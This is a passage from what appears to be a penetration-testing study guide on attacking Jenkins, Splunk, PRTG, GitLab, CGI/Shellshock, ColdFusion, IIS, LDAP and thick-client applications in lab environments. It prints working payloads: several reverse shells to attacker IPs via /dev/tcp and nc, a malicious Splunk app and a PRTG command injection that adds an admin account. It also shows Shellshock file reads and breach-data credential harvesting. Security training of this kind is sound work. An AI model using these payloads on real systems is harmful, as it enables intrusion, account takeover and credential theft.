class="flow-edge"></div> 484 <div class="flow-rank"><div class="flow-node">Runtime.exec() → reverse shell</div></div> 485 <div class="flow-edge"></div> 486 <div class="flow-rank"><div class="flow-node is-goal">Shell as SYSTEM/root</div></div> 487 </div> 488 </div> 489 </figure> 490 491 **Access the console** at `http://jenkins.inlanefreight.local:8000/script`. Run a command: 492 493 ```groovy 494 def cmd = 'id' 495 def sout = new StringBuffer(), serr = new StringBuffer() 496 def proc = cmd.execute() 497 proc.consumeProcessOutput(sout, serr) 498 proc.waitForOrKill(1000) 499 println sout 500 ``` 501 502 **Reverse shell (Linux)** — pass the payload as a raw process array to dodge Groovy string-interpolation issues: 503 504 ```groovy 505 r = Runtime.getRuntime() 506 p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) 507 p.waitFor() 508 ``` 509 ```bash 510 nc -lvnp 8443 # → uid=0(root) 511 ``` 512 513 **Windows** — `"cmd.exe /c dir".execute()` runs commands; a PowerShell download cradle or a raw Java-socket reverse shell avoids leaving a permanent change (and dodges PowerShell monitoring). 514 515 > [!tip] Check misconfig before hunting CVEs 516 > The old chained sandbox-bypass RCEs (CVE-2018-1999002 + CVE-2019-1003000) were fixed by the 2.303.1 LTS. Against a modern install, checking whether anonymous users have read/build/job-create rights is usually more productive than a version-specific exploit. Confirm the LTS version first. 517 518 --- 519 520 ## 7 · Splunk `fas:Terminal` — 8000 (mgmt 8089) 521 522 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem"> 523 <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px"> 524 <img src="/diagrams/attacking-common-applications/splunk.svg" alt="Splunk logo" style="height:44px;width:auto" loading="lazy" decoding="async" /> 525 </span> 526 <figcaption><span>Splunk · log analytics / SIEM</span></figcaption> 527 </figure> 528 529 Splunk has few exploitable CVEs; the risk is weak or absent auth plus built-in functionality. A forgotten Enterprise *trial* silently downgrades to the auth-free *Free* edition after 60 days. Once you have admin — via no auth or weak creds — a custom app with a scripted input runs an arbitrary script on a schedule, as the Splunk service account (often `SYSTEM`/`root`). 530 531 <figure class="flow plate corners"> 532 <figcaption class="flow__cap"><span class="flow__kind">Splunk to RCE</span><span class="flow__dir">TD</span></figcaption> 533 <div class="flow__body"> 534 <div class="flow__diagram" data-dir="td"> 535 <div class="flow-rank"><div class="flow-node is-entry">Fingerprint: Splunkd httpd<span class="sub">on 8000/8089</span></div></div> 536 <div class="flow-edge"></div> 537 <div class="flow-rank"><div class="flow-node is-decision">Auth?</div></div> 538 <div class="flow-branches"> 539 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Trial expired → Free</span></div><div class="flow-node">Direct admin, no creds</div></div> 540 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Weak default</span></div><div class="flow-node">admin:changeme / weak pw</div></div> 541 </div> 542 <div class="flow-join"></div> 543 <div class="flow-rank"><div class="flow-node">Custom app: bin/ script +<span class="sub">default/inputs.conf</span></div></div> 544 <div class="flow-edge"></div> 545 <div class="flow-rank"><div class="flow-node">tar.gz → Install app from file</div></div> 546 <div class="flow-edge"></div> 547 <div class="flow-rank"><div class="flow-node">Scripted input fires<span class="sub">→ reverse shell</span></div></div> 548 <div class="flow-edge"></div> 549 <div class="flow-rank"><div class="flow-node is-goal">Shell as Splunk account<span class="sub">(often SYSTEM)</span></div></div> 550 </div> 551 </div> 552 </figure> 553 554 **Fingerprint.** Both 8000 and 8089 reporting `Splunkd httpd` is definitive. Try `admin:changeme` (shown on old login pages) and common weak passwords if the trial scenario doesn't apply. 555 556 **Build a malicious app.** Two files: the script Splunk runs, and the `inputs.conf` that schedules it (the `interval` field is mandatory — no interval, no execution): 557 558 ```ini 559 # splunk_shell/default/inputs.conf 560 [script://.\bin\run.bat] 561 disabled = 0 562 sourcetype = shell 563 interval = 10 564 ``` 565 ```batch 566 :: splunk_shell/bin/run.bat → launches a hidden PowerShell reverse shell 567 @ECHO OFF 568 PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'" 569 Exit 570 ``` 571 572 **Package and upload** — the app enables on upload and fires within `interval` seconds: 573 574 ```bash 575 tar -cvzf updater.tar.gz splunk_shell/ 576 sudo nc -lnvp 443 577 # Manage Apps → Install app from file → updater.tar.gz → Upload → whoami: nt authority\system 578 ``` 579 580 > [!info] Pivot via a deployment server 581 > If the compromised instance is a Splunk *deployment server*, dropping the app in `$SPLUNK_HOME/etc/deployment-apps` pushes it to every Universal Forwarder that checks in — one box becomes RCE across the fleet. Full Splunk ships Python (great for a Linux payload); Universal Forwarders don't, so use PowerShell on a Windows fleet. 582 583 --- 584 585 ## 8 · PRTG Network Monitor `fas:Terminal` — 8080 586 587 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem"> 588 <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px"> 589 <img src="/diagrams/attacking-common-applications/prtg.svg" alt="PRTG Network Monitor logo" style="height:46px;width:auto" loading="lazy" decoding="async" /> 590 </span> 591 <figcaption><span>PRTG Network Monitor · Paessler</span></figcaption> 592 </figure> 593 594 PRTG (Paessler, Delphi) is an agentless monitor, rarely internet-facing but common internally (and the HTB box *Netmon*). Default `prtgadmin:prtgadmin` is often pre-filled and unchanged. Once in, CVE-2018-9276 turns a notification's "Execute Program" action into command execution as the PRTG account — frequently local admin. 595 596 <figure class="flow plate corners"> 597 <figcaption class="flow__cap"><span class="flow__kind">PRTG to RCE</span><span class="flow__dir">LR</span></figcaption> 598 <div class="flow__body"> 599 <div class="flow__diagram" data-dir="lr"> 600 <div class="flow-rank"><div class="flow-node is-entry">Fingerprint: Indy httpd<span class="sub">(Paessler PRTG)</span></div></div> 601 <div class="flow-edge"></div> 602 <div class="flow-rank"><div class="flow-node">Login: default/weak creds</div></div> 603 <div class="flow-edge"></div> 604 <div class="flow-rank"><div class="flow-node">Account Settings → Notifications<span class="sub">→ Add new</span></div></div> 605 <div class="flow-edge"></div> 606 <div class="flow-rank"><div class="flow-node">EXECUTE PROGRAM → outfile.ps1<span class="sub">+ malicious Parameter</span></div></div> 607 <div class="flow-edge"></div> 608 <div class="flow-rank"><div class="flow-node is-goal">Click Test → command runs</div></div> 609 </div> 610 </div> 611 </figure> 612 613 **Fingerprint and version.** `Indy httpd ... Paessler PRTG bandwidth monitor` in the banner is definitive; `17.3.33.2830` predates the 18.2.39 fix: 614 615 ```bash 616 sudo nmap -sV -p- --open -T4 10.129.201.50 617 curl -s "http://10.129.201.50:8080/index.htm" -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)" | grep version 618 ``` 619 620 **Exploit CVE-2018-9276.** The `Parameter` field is concatenated unsanitised into the PowerShell behind `outfile.ps1`, so a `;` chains your own command. It's blind — PRTG gives no feedback: 621 622 ``` 623 Setup → Account Settings → Notifications → Add new notification 624 Program File: Demo exe notification - outfile.ps1 625 Parameter: test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add 626 Save → Test 627 ``` 628 629 **Confirm out of band** (scheduling instead of Test also gives lightweight persistence): 630 631 ```bash 632 sudo nxc smb 10.129.201.50 -u prtgadm1 -p 'Pwn3d_by_PRTG!' # (Pwn3d!) = local admin over SMB 633 ``` 634 635 > [!tip] CrackMapExec → NetExec 636 > `crackmapexec` is superseded by the maintained fork **NetExec (`nxc`)** — same syntax family. On a real test, prefer a reverse shell over adding an account to keep the footprint small. 637 638 --- 639 640 ## 9 · osTicket `fas:Terminal` — methodology, not a CVE 641 642 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem"> 643 <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px"> 644 <img src="/diagrams/attacking-common-applications/osticket.png" alt="osTicket logo" style="height:46px;width:auto" loading="lazy" decoding="async" /> 645 </span> 646 <figcaption><span>osTicket · support ticketing</span></figcaption> 647 </figure> 648 649 osTicket is well-maintained with a thin CVE history, so this section is a *pattern* that applies to any helpdesk (Zendesk, Freshdesk, Jira Service Desk): support portals hand out real company email addresses, and the humans running them leak credentials. This is the chain behind HTB's *Delivery*. 650 651 <figure class="flow plate corners"> 652 <figcaption class="flow__cap"><span class="flow__kind">osTicket method</span><span class="flow__dir">TD</span></figcaption> 653 <div class="flow__body"> 654 <div class="flow__diagram" data-dir="td"> 655 <div class="flow-rank"><div class="flow-node is-entry">Fingerprint: OSTSESSID cookie,<span class="sub">'powered by' footer</span></div></div> 656 <div class="flow-branches"> 657 <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Submit a ticket →<span class="sub">get a company email address</span></div><div class="flow-edge"></div><div class="flow-node">Register on other portals<span class="sub">with that address</span></div></div> 658 <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">OSINT breach data (Dehashed)</div><div class="flow-edge"></div><div class="flow-node">Try leaked creds on the portal</div><div class="flow-edge"></div><div class="flow-node">Read closed tickets:<span class="sub">password resets, VPN issues</span></div><div class="flow-edge"></div><div class="flow-node is-goal">Reused / new-joiner password<span class="sub">→ spray other services</span></div></div> 659 </div> 660 </div> 661 </div> 662 </figure> 663 664 **Fingerprint.** Nmap only sees the webserver — the `OSTSESSID` cookie and footer branding identify osTicket. 665 666 **Harvest an address.** Submitting a ticket returns a dedicated reply-to address — a valid company email you can use to self-register on other services requiring email verification. 667 668 **Cross-reference breach data** against the domain: 669 670 ```bash 671 sudo python3 dehashed.py -q inlanefreight.local -p 672 # email: kevin@inlanefreight.local · username: kgrimes · password: Fish1ng_s3ason! 673 ``` 674 675 Try both username and email on any login — `kevin@…` succeeded where `kgrimes` failed. Then mine the agent's closed tickets: password resets, VPN troubleshooting, and the classic "standard new-joiner password" sent in plaintext are all fair game. Export the address book as a ready-made spray list (`linkedin2username` helps build one from employee names). 676 677 > [!tip] Newer replacements exist 678 > Dehashed is the module's reference; `Have I Been Pwned` (API-gated) and `intelx.io` are common complements. Keep every breach-data lookup inside the engagement's rules of engagement. 679 680 --- 681 682 ## 10 · GitLab `fas:Terminal` — lab port 8081 683 684 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem"> 685 <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px"> 686 <img src="/diagrams/attacking-common-applications/gitlab.svg" alt="GitLab tanuki logo" style="height:54px;width:auto" loading="lazy" decoding="async" /> 687 </span> 688 <figcaption><span>GitLab · self-hosted Git + CI/CD</span></figcaption> 689 </figure> 690 691 Self-hosted Git with wikis, issues, and CI/CD. Public and internal repos leak hardcoded secrets, SSH keys, and infra clues. GitLab has a long CVE list, but the most reliable finding is usually that self-registration is on, letting you walk in and browse internal projects. 692 693 <figure class="flow plate corners"> 694 <figcaption class="flow__cap"><span class="flow__kind">GitLab method</span><span class="flow__dir">TD</span></figcaption> 695 <div class="flow__body"> 696 <div class="flow__diagram" data-dir="td"> 697 <div class="flow-rank"><div class="flow-node is-entry">Fingerprint: login page, logo</div></div> 698 <div class="flow-edge"></div> 699 <div class="flow-rank"><div class="flow-node">Browse /explore (public projects)</div></div> 700 <div class="flow-edge"></div> 701 <div class="flow-rank"><div class="flow-node is-decision">Self-registration on?</div></div> 702 <div class="flow-branches"> 703 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Yes</span></div><div class="flow-node">Register → internal projects</div><div class="flow-branches"><div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Mine repos: secrets, keys, config</div></div><div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">GitLab CE ≤ 13.10.2:<span class="sub">ExifTool metadata RCE</span></div><div class="flow-edge"></div><div class="flow-node is-goal">Shell as git user</div></div></div></div> 704 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">No</span></div><div class="flow-node">Enumerate users via<span class="sub">'email already taken'</span></div></div> 705 </div> 706 </div> 707 </div> 708 </figure> 709 710 **Fingerprint and enumerate.** The version only shows on `/help` after login, but `/explore` lists public projects unauthenticated — check it first. Username enumeration works via the registration oracle ("Email has already been taken") even when sign-up is disabled, because `/users/sign_up` stays reachable: 711 712 ```bash 713 ./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt 714 # [+] The username root exists! [+] The username bob exists! 715 ``` 716 717 > [!info] Lockout shapes your brute force 718 > GitLab's default is 10 failed attempts, 10-minute auto-unlock, not changeable from the UI (it needs a source rebuild). Pace credential attacks against a discovered user list accordingly. GitLab doesn't even class username enumeration as a bug — but it directly feeds spray lists. 719 720 **Register and mine** repos for hardcoded credentials, committed secrets in history, snippets, and stray SSH keys. 721 722 **CVE — GitLab CE ≤ 13.10.2 authenticated RCE via ExifTool** (self-registration makes the required creds trivial): 723 724 ```bash 725 python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 \ 726 -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f' 727 nc -lnvp 8443 # → uid=996(git) 728 ``` 729 730 > [!tip] The unauth successor 731 > CVE-2021-22205 is an *unauthenticated* ExifTool RCE in a slightly later range and the more commonly cited GitLab bug. GitLab patches fast — always match the exact CE/EE version against current advisories before trusting either. 732 733 --- 734 735 ## 11 · CGI & Shellshock `fas:Terminal` 736 737 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem"> 738 <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px"> 739 <img src="/diagrams/attacking-common-applications/shellshock.svg" alt="Shellshock vulnerability logo" style="height:76px;width:auto" loading="lazy" decoding="async" /> 740 </span> 741 <figcaption><span>Shellshock · CVE-2014-6271 (Bash)</span></figcaption> 742 </figure> 743 744 CGI is legacy middleware that hands requests to scripts in `cgi-bin`. It's mostly gone from modern servers but lingers on embedded/IoT gear. The classic attack is Shellshock (CVE-2014-6271): vulnerable Bash (≤ 4.3) mis-parses a function definition in an environment variable and runs anything appended after it — and CGI copies HTTP headers into environment variables. 745 746 <figure class="flow plate corners"> 747 <figcaption class="flow__cap"><span class="flow__kind">CGI Shellshock</span><span class="flow__dir">TD</span></figcaption> 748 <div class="flow__body"> 749 <div class="flow__diagram" data-dir="td"> 750 <div class="flow-rank"><div class="flow-node is-entry">Discover cgi-bin scripts</div></div> 751 <div class="flow-edge"></div> 752 <div class="flow-rank"><div class="flow-node">Test User-Agent header oracle</div></div> 753 <div class="flow-edge"></div> 754 <div class="flow-rank"><div class="flow-node is-decision">Bash bug present?</div></div> 755 <div class="flow-branches"> 756 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Yes</span></div><div class="flow-node">Chain command after<span class="sub">the function definition</span></div><div class="flow-edge"></div><div class="flow-node is-goal">Reverse shell as web user</div></div> 757 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">No</span></div><div class="flow-node">Patched — move on</div></div> 758 </div> 759 </div> 760 </div> 761 </figure> 762 763 **Understand the bug** — everything after the closing `};` runs on a vulnerable shell: 764 765 ```bash 766 env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable" 767 # vulnerable host prints "vulnerable-shellshock" as well 768 ``` 769 770 **Discover a CGI script** (a `200` with zero length still counts — it just produced no output for a GET): 771 772 ```bash 773 feroxbuster -u http://10.129.204.231/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -t 50 -x cgi 774 # /access.cgi (200) [Size: 0] 775 ``` 776 777 **Confirm via User-Agent, then shell** — the double `echo ;` gives a clean response separator: 778 779 ```bash 780 # read a file 781 curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' http://10.129.204.231/cgi-bin/access.cgi 782 # reverse shell 783 curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://10.129.204.231/cgi-bin/access.cgi 784 sudo nc -lvnp 7777 # → www-data 785 ``` 786 787 `Referer` and `Cookie` can be injection points too — any header CGI turns into an environment variable works. 788 789 --- 790 791 ## 12 · Thick client applications `fas:Terminal` 792 793 Thick (fat) clients run real logic locally — Java/.NET/C++ CRMs, internal utilities, project tools. They dodge browser bugs (XSS, CSRF) but fall to hardcoded credentials, insecure local storage, DLL hijacking, and — for three-tier apps — the same SQLi/path-traversal you'd find on the web, once you reverse the protocol. 794 795 <figure class="flow plate corners"> 796 <figcaption class="flow__cap"><span class="flow__kind">Thick client method</span><span class="flow__dir">TD</span></figcaption> 797 <div class="flow__body"> 798 <div class="flow__diagram" data-dir="td"> 799 <div class="flow-rank"><div class="flow-node is-entry">Info gathering:<span class="sub">architecture, language, entry points</span></div></div> 800 <div class="flow-branches"> 801 <div class="flow-lane"><div class="flow-edge"></div><div class="flow-rank"><div class="flow-node">Static: disassemble/decompile</div><div class="flow-node">Network: Wireshark/Burp<span class="sub">on client↔server traffic</span></div></div><div class="flow-join"></div><div class="flow-node">Patch client logic:<span class="sub">ports, filters, validation</span></div><div class="flow-edge"></div><div class="flow-node is-goal">Exploit server bugs:<span class="sub">SQLi, path traversal</span></div></div> 802 <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Dynamic: ProcMon, debugger,<span class="sub">memory dump</span></div></div> 803 </div> 804 </div> 805 </div> 806 </figure> 807 808 > [!info] Two-tier vs three-tier 809 > **Two-tier**: client talks straight to the DB — the client binary can potentially reach it directly. **Three-tier**: client → app server → DB. Safer by design, but the middle tier becomes attackable with web-style bugs once you reverse its protocol. 810 > 811 > **Toolkit** — reversing: Ghidra, IDA, dnSpyEx, x64dbg, JADX, JD-GUI, de4dot. Dynamic: Process Monitor, Frida, OllyDbg. Network: Wireshark, tcpdump, Burp (for proxyable TCP). 812 813 **Capture a self-cleaning dropper's payload** (the *Restart-Oracle-Service* scenario). The EXE drops a `.bat`, decodes a base64 EXE, runs it, deletes both. Deny delete on the temp folder before re-running so the artefacts survive: 814 815 ``` 816 ProcMon64 → watch %LOCALAPPDATA%\Temp for the dropped file 817 Temp → Properties → Security → Advanced → Disable inheritance 818 → deselect "Delete subfolders and files" and "Delete" 819 Re-run the EXE → the .bat now survives (it base64-decodes oracle.txt → restart-service.exe) 820 ``` 821 822 **Recover hardcoded creds from memory.** In x64dbg, restrict breakpoints to Exit so you land in the app's own code, find an `-RW-` region with an `MZ` header (an in-memory PE hiding from disk AV), and dump it: 823 824 ```bash 825 strings64.exe .\restart-service_00000000001E0000.bin # .NETFramework,Version=v4.0 826 # de4dot deobfuscates the dump → dnSpy reads it as near-original C# with creds inline 827 ``` 828 829 **Reverse a client/server app** (*Fatty*, condensed). Patch the hardcoded port in the JAR's Spring config, then strip the JAR's own integrity check so the modified client runs: 830 831 ```powershell 832 Select-String -Path fatty-client\* -Pattern "8000" -Recurse # beans.xml <constructor-arg index="1" value="8000"/> 833 # edit the port; delete SHA-256 digests from META-INF/MANIFEST.MF and the .RSA/.SF files; jar -cmf to rebuild 834 ``` 835 836 **Bypass client-side access control (path traversal).** The server strips `/` from folder names, but the *client* decides what to send — decompile and patch it to send `..`: 837 838 ``` 839 JD-GUI → decompile → ClientGuiTest.java: currentFolder = "configs" → ".." 840 javac -cp fatty-client-new.jar ...\ClientGuiTest.java # swap only the patched .class into the JAR 841 ``` 842 843 **SQLi in the decompiled server logic.** The username is concatenated into the query; the password is hashed client-side (`SHA-256(user+pass+secret)`), so `' OR '1'='1` fails the hash compare. A UNION injection supplies every column directly, and patching `setPassword()` to send plaintext makes the client value match the injected literal: 844 845 ```java 846 // server: "SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'" 847 // login: qtc' UNION SELECT 1,'abc','a@a','abc','admin (password: abc) 848 ``` 849 850 > [!tip] Maintained forks 851 > `dnSpy` is archived — use **dnSpyEx**. **Ghidra** is a fully viable free IDA alternative for native code; reach for IDA only where its decompiler handles a specific architecture better. **Frida** hooks a suspected function without a full static pass. 852 853 --- 854 855 ## 13 · ColdFusion `fas:Terminal` — port 8500 856 857 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem"> 858 <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px"> 859 <img src="/diagrams/attacking-common-applications/coldfusion.svg" alt="Adobe ColdFusion logo" style="height:52px;width:auto" loading="lazy" decoding="async" /> 860 </span> 861 <figcaption><span>Adobe ColdFusion · CFML app server</span></figcaption> 862 </figure> 863 864 ColdFusion (CFML, Adobe) is Java-based with a recognisable footprint: `.cfm`/`.cfc` extensions, port 8500 for SSL, and `/CFIDE/administrator/`. Older versions carry a traversal that leaks the encrypted datasource store and an unauth RCE via the bundled FCKeditor. 865 866 <figure class="flow plate corners"> 867 <figcaption class="flow__cap"><span class="flow__kind">ColdFusion to RCE</span><span class="flow__dir">TD</span></figcaption> 868 <div class="flow__body"> 869 <div class="flow__diagram" data-dir="td"> 870 <div class="flow-rank"><div class="flow-node is-entry">Fingerprint: 8500, .cfm/.cfc,<span class="sub">/CFIDE/administrator/</span></div></div> 871 <div class="flow-edge"></div> 872 <div class="flow-rank"><div class="flow-node">searchsploit adobe coldfusion</div></div> 873 <div class="flow-edge"></div> 874 <div class="flow-rank"><div class="flow-node is-decision">Version</div></div> 875 <div class="flow-branches"> 876 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">≤ 9.0.1</span></div><div class="flow-node">CVE-2010-2861<span class="sub">traversal → password.properties</span></div></div> 877 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">≤ 8.0.1</span></div><div class="flow-node">CVE-2009-2265<span class="sub">FCKeditor unauth RCE</span></div><div class="flow-edge"></div><div class="flow-node is-goal">Upload JSP → shell as CF account</div></div> 878 </div> 879 </div> 880 </div> 881 </figure> 882 883 **Fingerprint** on port 8500 + `CFIDE`/`cfdocs` in the webroot; the admin login often discloses the major version. Then match exploits: 884 885 ```bash 886 nmap -p- -sC -Pn 10.129.247.30 --open # 8500/tcp open fmtp 887 searchsploit adobe coldfusion 888 # Directory Traversal ............ multiple/remote/14641.py 889 # ColdFusion 8 - RCE ............. cfm/webapps/50057.py 890 ``` 891 892 **CVE-2010-2861 — traversal to leak `password.properties`** (mishandled `locale` param in several bundled `.cfm` files). Values are encrypted, but it's the credential store for every datasource CF connects to: 893 894 ```bash 895 python2 14641.py 10.129.204.230 8500 "../../../../../../../../ColdFusion8/lib/password.properties" 896 # password=2F635F... encrypted=true 897 ``` 898 899 **CVE-2009-2265 — unauth RCE via the FCKeditor connector** (`/CFIDE/scripts/ajax/FCKeditor/.../upload.cfm` accepts an arbitrary file upload). The PoC uploads a JSP, triggers it, and cleans up: 900 901 ```bash 902 python3 50057.py # generates + uploads JSP payload, catches the shell as the CF service account 903 ``` 904 905 > [!tip] Both CVEs are CF 8/9-era 906 > Current ColdFusion (2021/2023) has a very different, hardened surface. Confirm the version from `/CFIDE/administrator` or the `Server` header before assuming either applies; pair `searchsploit` with a manual NVD/vendor check. 907 908 --- 909 910 ## 14 · IIS tilde (8.3 short-name) enumeration `fas:Terminal` 911 912 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem"> 913 <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px"> 914 <img src="/diagrams/attacking-common-applications/iis.png" alt="Microsoft IIS logo" style="height:52px;width:auto" loading="lazy" decoding="async" /> 915 </span> 916 <figcaption><span>Microsoft IIS · Windows web server</span></figcaption> 917 </figure> 918 919 Windows generates a legacy 8.3 short name for every file (`somefi~1.txt`) for DOS compatibility. Some IIS versions answer tilde-prefixed requests differently depending on whether a prefix matches, so you can rebuild hidden names one character at a time — turning "guess the whole filename" into "guess an 8-char prefix". 920 921 <figure class="flow plate corners"> 922 <figcaption class="flow__cap"><span class="flow__kind">IIS short-name enum</span><span class="flow__dir">LR</span></figcaption> 923 <div class="flow__body"> 924 <div class="flow__diagram" data-dir="lr"> 925 <div class="flow-rank"><div class="flow-node is-entry">Fingerprint IIS, check OPTIONS</div></div> 926 <div class="flow-edge"></div> 927 <div class="flow-rank"><div class="flow-node">IIS-ShortName-Scanner</div></div> 928 <div class="flow-edge"></div> 929 <div class="flow-rank"><div class="flow-node">Partial names, e.g. TRANSF~1.ASP</div></div> 930 <div class="flow-edge"></div> 931 <div class="flow-rank"><div class="flow-node">Build a targeted wordlist<span class="sub">(words starting 'transf')</span></div></div> 932 <div class="flow-edge"></div> 933 <div class="flow-rank"><div class="flow-node is-goal">Fuzz with extensions →<span class="sub">recover the full name</span></div></div> 934 </div> 935 </div> 936 </figure> 937 938 **Fingerprint and scan** (the numeric args tune threads/requests; it reports the working HTTP method and every partial name): 939 940 ```bash 941 nmap -p- -sV -sC --open 10.129.224.91 # Microsoft IIS httpd 7.5 942 java -jar iis_shortname_scanner.jar 0 5 http://10.129.204.231/ 943 # Vulnerable! · method: OPTIONS · dirs: ASPNET~1, UPLOAD~1 · files: CSASPX~1.CS, TRANSF~1.ASP 944 ``` 945 946 **Narrow the partial name into a wordlist, then recover the full filename:** 947 948 ```bash 949 egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt 950 feroxbuster -u http://10.129.204.231/ -w /tmp/list.txt -t 50 -x aspx,asp 951 # /transfer.aspx (200) 952 ``` 953 954 > [!tip] It's a legacy behaviour 955 > Modern IIS/.NET configs often have this disabled. Always let the scanner's own vulnerability check confirm applicability before you spend time building wordlists. 956 957 --- 958 959 ## 15 · LDAP injection & mass assignment `fas:Terminal` 960 961 Two source-driven bug classes. LDAP-backed logins that concatenate input into a filter fall to injection (the LDAP cousin of SQLi). Framework "mass assignment" binds a whole form onto a model, letting you set fields — `admin`, `confirmed` — that were never meant to be user-controllable. 962 963 <figure class="flow plate corners"> 964 <figcaption class="flow__cap"><span class="flow__kind">LDAP injection bypass</span><span class="flow__dir">TD</span></figcaption> 965 <div class="flow__body"> 966 <div class="flow__diagram" data-dir="td"> 967 <div class="flow-rank"><div class="flow-node is-entry">nmap: ldap/389 beside web/80</div></div> 968 <div class="flow-edge"></div> 969 <div class="flow-rank"><div class="flow-node">Login likely LDAP-backed</div></div> 970 <div class="flow-edge"></div> 971 <div class="flow-rank"><div class="flow-node">Inject * into user/pass</div></div> 972 <div class="flow-edge"></div> 973 <div class="flow-rank"><div class="flow-node">(&(objectClass=user)(sAMAccountName=*)(userPassword=*))<span class="sub">matches any record</span></div></div> 974 <div class="flow-edge"></div> 975 <div class="flow-rank"><div class="flow-node is-goal">Auth bypass</div></div> 976 </div> 977 </div> 978 </figure> 979 980 > [!info] LDAP vs Active Directory 981 > LDAP is a *protocol* for querying directory data; Active Directory is a directory *service* that speaks LDAP (plus Kerberos, DNS, and more). OpenLDAP is the common cross-platform implementation you meet outside pure-Windows shops. Injection metacharacters: `*` (wildcard), `()` (grouping), `&`/`|` (AND/OR) — `(cn=*)` is the `' OR '1'='1` of LDAP. 982 983 **Query directly** to understand the schema, then look for `ldap/389` next to a web login (a strong hint the login is LDAP-backed): 984 985 ```bash 986 ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 \ 987 -b "ou=people,dc=example,dc=com" "(mail=jdoe@example.com)" 988 nmap -p- -sC -sV --open --min-rate=1000 10.129.204.229 # 389/tcp OpenLDAP 989 ``` 990 991 **Bypass with a wildcard** — `Username: *` / `Password: *` builds a filter that matches any user with a non-empty password. 992 993 **Mass assignment.** The vulnerable pattern only checks whether a field *exists* — its value is irrelevant: 994 995 ```python 996 try: 997 if request.form['confirmed']: # existence check only 998 cond = True 999 except: 1000 cond = False 1001 ``` 1002 ``` 1003 # Burp: add a field the real form never exposes 1004 POST /register 1005 username=new&password=test&confirmed=test 1006 ``` 1007 1008 The Rails equivalent (`attr_accessible :username, :email`) breaks the same way — smuggle `admin: true` inside the `user` hash. Modern Rails uses Strong Parameters (`params.require(:user).permit(:username, :email)`), which whitelists — but an over-broad `permit!` re-opens the hole. Fix is always explicit whitelisting, never a blacklist or existence check. 1009 1010 --- 1011 1012 ## 16 · Applications connecting to services `fas:Terminal` 1013 1014 Apps that talk to a backend commonly embed a connection string with live credentials in the compiled binary, not a greppable config file. Recover it from two formats — an ELF in a debugger, a .NET DLL in a decompiler — and test the creds for reuse elsewhere. 1015 1016 <figure class="flow plate corners"> 1017 <figcaption class="flow__cap"><span class="flow__kind">Connection-string recovery</span><span class="flow__dir">TD</span></figcaption> 1018 <div class="flow__body"> 1019 <div class="flow__diagram" data-dir="td"> 1020 <div class="flow-rank"><div class="flow-node is-entry">Binary connects to a backend</div></div> 1021 <div class="flow-edge"></div> 1022 <div class="flow-rank"><div class="flow-node is-decision">Type?</div></div> 1023 <div class="flow-branches"> 1024 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">ELF native</span></div><div class="flow-node">GDB + GEF/PEDA:<span class="sub">breakpoint the connect call</span></div></div> 1025 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">.NET assembly</span></div><div class="flow-node">dnSpy: decompile to C#</div></div> 1026 </div> 1027 <div class="flow-join"></div> 1028 <div class="flow-rank"><div class="flow-node">Connection string sits<span class="sub">in a register at the breakpoint</span></div></div> 1029 <div class="flow-edge"></div> 1030 <div class="flow-rank"><div class="flow-node is-goal">Reuse creds / password-spray</div></div> 1031 </div> 1032 </div> 1033 </figure> 1034 1035 > [!info] Why not just `strings`? 1036 > Connection strings are often assembled at runtime from reordered, endianness-reversed fragments, so a flat `strings` pass can miss the finished value. A breakpoint at the actual connect API captures the complete string. 1037 1038 **ELF → MS SQL.** Run it to learn the driver API (`SQLDriverConnect`), disassemble, breakpoint the call, and read the register: 1039 1040 ```bash 1041 gdb ./octopus_checker 1042 gdb-peda$ set disassembly-flavor intel 1043 gdb-peda$ disas main # find call to SQLDriverConnect@plt 1044 gdb-peda$ b *0x5555555551b0 1045 